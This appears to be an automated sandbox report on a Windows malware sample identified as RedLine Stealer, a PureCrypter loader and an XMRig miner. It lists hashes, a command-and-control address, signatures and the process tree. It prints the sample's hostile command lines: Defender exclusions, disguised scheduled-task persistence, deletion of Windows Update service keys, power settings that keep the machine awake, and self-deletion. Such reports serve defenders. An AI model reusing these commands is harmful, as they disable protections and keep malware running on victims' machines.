Analysis
-
max time kernel
150s -
max time network
131s -
platform
windows10-1703_x64 -
resource
win10-20220812-en -
resource tags
arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system -
submitted
12/01/2023, 09:55
Static task
static1
Behavioral task
behavioral1
Sample
76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe
Resource
win10-20220812-en
General
-
Target
76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe
-
Size
976KB
-
MD5
d1e9f82dd227a45c97dcda1eeaffb3df
-
SHA1
4f432ddcdcc07b39cd731f0f5f6be8b85cad4f36
-
SHA256
76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d
-
SHA512
33b9b7d563f083cae2c14869059090a80b97d9e5c385b55a969ed1684015c493eaf1ca47d8c284e69bed74a5880f22a461fcfb051ad2fe17b40f0c87ac2e2223
-
SSDEEP
192:bfrIZqdCrLof/IMmfXXLoQWhLoaLew9O3:bDIZqdCrLq/IbfXXLRELSiO
Malware Config
Extracted
redline
5633308507
65.21.237.20:43077
-
auth_value
a53ea2c0cc054e8615f91cd47c18a2de
Signatures
-
Detect PureCrypter loader 1 IoCs
resource yara_rule behavioral1/memory/2204-201-0x000000000F3B0000-0x000000000FD58000-memory.dmp family_purecrypter -
Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
PureCrypter
PureCrypter is a loader which is intended for downloading and executing additional payloads.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 14 IoCs
description pid Process procid_target PID 4952 created 2312 4952 Gpwangiscadatahub.exe 26 PID 4952 created 2312 4952 Gpwangiscadatahub.exe 26 PID 4952 created 2312 4952 Gpwangiscadatahub.exe 26 PID 4952 created 2312 4952 Gpwangiscadatahub.exe 26 PID 4952 created 2312 4952 Gpwangiscadatahub.exe 26 PID 4952 created 2312 4952 Gpwangiscadatahub.exe 26 PID 5096 created 2312 5096 WindowsHost 26 PID 5096 created 2312 5096 WindowsHost 26 PID 5096 created 2312 5096 WindowsHost 26 PID 5096 created 2312 5096 WindowsHost 26 PID 5096 created 2312 5096 WindowsHost 26 PID 5096 created 2312 5096 WindowsHost 26 PID 960 created 2312 960 conhost.exe 26 PID 5096 created 2312 5096 WindowsHost 26 -
XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/memory/412-977-0x00007FF6F8C10000-0x00007FF6F9404000-memory.dmp xmrig behavioral1/memory/412-979-0x00007FF6F8C10000-0x00007FF6F9404000-memory.dmp xmrig -
Executes dropped EXE 2 IoCs
pid Process 4952 Gpwangiscadatahub.exe 5096 WindowsHost -
Stops running service(s) 3 TTPs
-
resource yara_rule behavioral1/memory/412-977-0x00007FF6F8C10000-0x00007FF6F9404000-memory.dmp upx behavioral1/memory/412-979-0x00007FF6F8C10000-0x00007FF6F9404000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2482096546-1136599444-1359412500-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsHost = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\GooglePrograms\\WindowsHost.exe\"" 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 5096 WindowsHost 5096 WindowsHost -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2204 set thread context of 4712 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 76 PID 5096 set thread context of 960 5096 WindowsHost 130 PID 5096 set thread context of 412 5096 WindowsHost 136 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys WindowsHost File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Windows\WindowsHost Gpwangiscadatahub.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3492 sc.exe 3360 sc.exe 4572 sc.exe 1168 sc.exe 5056 sc.exe 3492 sc.exe 940 sc.exe 4632 sc.exe 940 sc.exe 3332 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4292 ipconfig.exe 4636 ipconfig.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4736 powershell.exe 4736 powershell.exe 4736 powershell.exe 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 664 powershell.exe 664 powershell.exe 664 powershell.exe 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 1448 powershell.exe 1448 powershell.exe 1448 powershell.exe 4712 MSBuild.exe 4712 MSBuild.exe 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 4952 Gpwangiscadatahub.exe 1504 powershell.exe 1504 powershell.exe 1504 powershell.exe 5096 WindowsHost 5096 WindowsHost 5096 WindowsHost 5096 WindowsHost 4912 powershell.exe 4912 powershell.exe 4912 powershell.exe 5096 WindowsHost 5096 WindowsHost 5096 WindowsHost 5096 WindowsHost 5096 WindowsHost 5096 WindowsHost 4292 powershell.exe 4292 powershell.exe 4292 powershell.exe 5096 WindowsHost 5096 WindowsHost 5096 WindowsHost 5096 WindowsHost 960 conhost.exe 960 conhost.exe 5096 WindowsHost 5096 WindowsHost 412 svchost.exe 412 svchost.exe 412 svchost.exe 412 svchost.exe 412 svchost.exe 412 svchost.exe 412 svchost.exe 412 svchost.exe 412 svchost.exe 412 svchost.exe 412 svchost.exe 412 svchost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 632 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe Token: SeDebugPrivilege 4736 powershell.exe Token: SeDebugPrivilege 664 powershell.exe Token: SeIncreaseQuotaPrivilege 664 powershell.exe Token: SeSecurityPrivilege 664 powershell.exe Token: SeTakeOwnershipPrivilege 664 powershell.exe Token: SeLoadDriverPrivilege 664 powershell.exe Token: SeSystemProfilePrivilege 664 powershell.exe Token: SeSystemtimePrivilege 664 powershell.exe Token: SeProfSingleProcessPrivilege 664 powershell.exe Token: SeIncBasePriorityPrivilege 664 powershell.exe Token: SeCreatePagefilePrivilege 664 powershell.exe Token: SeBackupPrivilege 664 powershell.exe Token: SeRestorePrivilege 664 powershell.exe Token: SeShutdownPrivilege 664 powershell.exe Token: SeDebugPrivilege 664 powershell.exe Token: SeSystemEnvironmentPrivilege 664 powershell.exe Token: SeRemoteShutdownPrivilege 664 powershell.exe Token: SeUndockPrivilege 664 powershell.exe Token: SeManageVolumePrivilege 664 powershell.exe Token: 33 664 powershell.exe Token: 34 664 powershell.exe Token: 35 664 powershell.exe Token: 36 664 powershell.exe Token: SeDebugPrivilege 1448 powershell.exe Token: SeShutdownPrivilege 5076 powercfg.exe Token: SeCreatePagefilePrivilege 5076 powercfg.exe Token: SeShutdownPrivilege 3816 powercfg.exe Token: SeCreatePagefilePrivilege 3816 powercfg.exe Token: SeShutdownPrivilege 4128 powercfg.exe Token: SeCreatePagefilePrivilege 4128 powercfg.exe Token: SeShutdownPrivilege 3488 powercfg.exe Token: SeCreatePagefilePrivilege 3488 powercfg.exe Token: SeDebugPrivilege 4712 MSBuild.exe Token: SeIncreaseQuotaPrivilege 1448 powershell.exe Token: SeSecurityPrivilege 1448 powershell.exe Token: SeTakeOwnershipPrivilege 1448 powershell.exe Token: SeLoadDriverPrivilege 1448 powershell.exe Token: SeSystemProfilePrivilege 1448 powershell.exe Token: SeSystemtimePrivilege 1448 powershell.exe Token: SeProfSingleProcessPrivilege 1448 powershell.exe Token: SeIncBasePriorityPrivilege 1448 powershell.exe Token: SeCreatePagefilePrivilege 1448 powershell.exe Token: SeBackupPrivilege 1448 powershell.exe Token: SeRestorePrivilege 1448 powershell.exe Token: SeShutdownPrivilege 1448 powershell.exe Token: SeDebugPrivilege 1448 powershell.exe Token: SeSystemEnvironmentPrivilege 1448 powershell.exe Token: SeRemoteShutdownPrivilege 1448 powershell.exe Token: SeUndockPrivilege 1448 powershell.exe Token: SeManageVolumePrivilege 1448 powershell.exe Token: 33 1448 powershell.exe Token: 34 1448 powershell.exe Token: 35 1448 powershell.exe Token: 36 1448 powershell.exe Token: SeIncreaseQuotaPrivilege 1448 powershell.exe Token: SeSecurityPrivilege 1448 powershell.exe Token: SeTakeOwnershipPrivilege 1448 powershell.exe Token: SeLoadDriverPrivilege 1448 powershell.exe Token: SeSystemProfilePrivilege 1448 powershell.exe Token: SeSystemtimePrivilege 1448 powershell.exe Token: SeProfSingleProcessPrivilege 1448 powershell.exe Token: SeIncBasePriorityPrivilege 1448 powershell.exe Token: SeCreatePagefilePrivilege 1448 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2204 wrote to memory of 2268 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 67 PID 2204 wrote to memory of 2268 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 67 PID 2204 wrote to memory of 2268 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 67 PID 2268 wrote to memory of 4292 2268 cmd.exe 69 PID 2268 wrote to memory of 4292 2268 cmd.exe 69 PID 2268 wrote to memory of 4292 2268 cmd.exe 69 PID 2204 wrote to memory of 4736 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 70 PID 2204 wrote to memory of 4736 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 70 PID 2204 wrote to memory of 4736 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 70 PID 2204 wrote to memory of 4952 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 72 PID 2204 wrote to memory of 4952 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 72 PID 2204 wrote to memory of 4824 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 73 PID 2204 wrote to memory of 4824 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 73 PID 2204 wrote to memory of 4824 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 73 PID 4824 wrote to memory of 4636 4824 cmd.exe 75 PID 4824 wrote to memory of 4636 4824 cmd.exe 75 PID 4824 wrote to memory of 4636 4824 cmd.exe 75 PID 2204 wrote to memory of 4712 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 76 PID 2204 wrote to memory of 4712 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 76 PID 2204 wrote to memory of 4712 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 76 PID 2204 wrote to memory of 4712 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 76 PID 2204 wrote to memory of 4712 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 76 PID 2204 wrote to memory of 4712 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 76 PID 2204 wrote to memory of 4712 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 76 PID 2204 wrote to memory of 4712 2204 76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe 76 PID 2680 wrote to memory of 5076 2680 cmd.exe 86 PID 2680 wrote to memory of 5076 2680 cmd.exe 86 PID 2688 wrote to memory of 3492 2688 cmd.exe 87 PID 2688 wrote to memory of 3492 2688 cmd.exe 87 PID 2688 wrote to memory of 940 2688 cmd.exe 88 PID 2688 wrote to memory of 940 2688 cmd.exe 88 PID 2680 wrote to memory of 3816 2680 cmd.exe 89 PID 2680 wrote to memory of 3816 2680 cmd.exe 89 PID 2688 wrote to memory of 3360 2688 cmd.exe 90 PID 2688 wrote to memory of 3360 2688 cmd.exe 90 PID 2680 wrote to memory of 4128 2680 cmd.exe 91 PID 2680 wrote to memory of 4128 2680 cmd.exe 91 PID 2688 wrote to memory of 4572 2688 cmd.exe 93 PID 2688 wrote to memory of 4572 2688 cmd.exe 93 PID 2680 wrote to memory of 3488 2680 cmd.exe 94 PID 2680 wrote to memory of 3488 2680 cmd.exe 94 PID 2688 wrote to memory of 1168 2688 cmd.exe 95 PID 2688 wrote to memory of 1168 2688 cmd.exe 95 PID 2688 wrote to memory of 744 2688 cmd.exe 96 PID 2688 wrote to memory of 744 2688 cmd.exe 96 PID 2688 wrote to memory of 416 2688 cmd.exe 97 PID 2688 wrote to memory of 416 2688 cmd.exe 97 PID 2688 wrote to memory of 2912 2688 cmd.exe 98 PID 2688 wrote to memory of 2912 2688 cmd.exe 98 PID 2688 wrote to memory of 4520 2688 cmd.exe 99 PID 2688 wrote to memory of 4520 2688 cmd.exe 99 PID 2688 wrote to memory of 2300 2688 cmd.exe 100 PID 2688 wrote to memory of 2300 2688 cmd.exe 100 PID 3724 wrote to memory of 3556 3724 cmd.exe 105 PID 3724 wrote to memory of 3556 3724 cmd.exe 105 PID 1504 wrote to memory of 4032 1504 powershell.exe 106 PID 1504 wrote to memory of 4032 1504 powershell.exe 106 PID 2640 wrote to memory of 5056 2640 cmd.exe 114 PID 2640 wrote to memory of 5056 2640 cmd.exe 114 PID 592 wrote to memory of 3572 592 cmd.exe 115 PID 592 wrote to memory of 3572 592 cmd.exe 115 PID 2640 wrote to memory of 3492 2640 cmd.exe 116 PID 2640 wrote to memory of 3492 2640 cmd.exe 116 PID 592 wrote to memory of 2928 592 cmd.exe 117
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2312
-
C:\Users\Admin\AppData\Local\Temp\76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe"C:\Users\Admin\AppData\Local\Temp\76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe"2⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2204 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig/release3⤵
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /release4⤵
- Gathers network information
PID:4292
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMQAwAA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4736
-
-
C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4952
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig/renew3⤵
- Suspicious use of WriteProcessMemory
PID:4824 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /renew4⤵
- Gathers network information
PID:4636
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4712
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:664
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nugixlm#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsHost' /tr '''C:\Program Files\Windows\WindowsHost''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Windows\WindowsHost') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsHost' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /f /d 'C:\Program Files\Windows\WindowsHost' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1448
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:5076
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:3816
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4128
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:3488
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3492
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:940
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:3360
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4572
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1168
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:744
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:416
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2912
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:4520
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:2300
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3724 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3556
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qzignfste#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsHost" } Else { "C:\Program Files\Windows\WindowsHost" }2⤵
- Suspicious behavior: EnumeratesProcesses
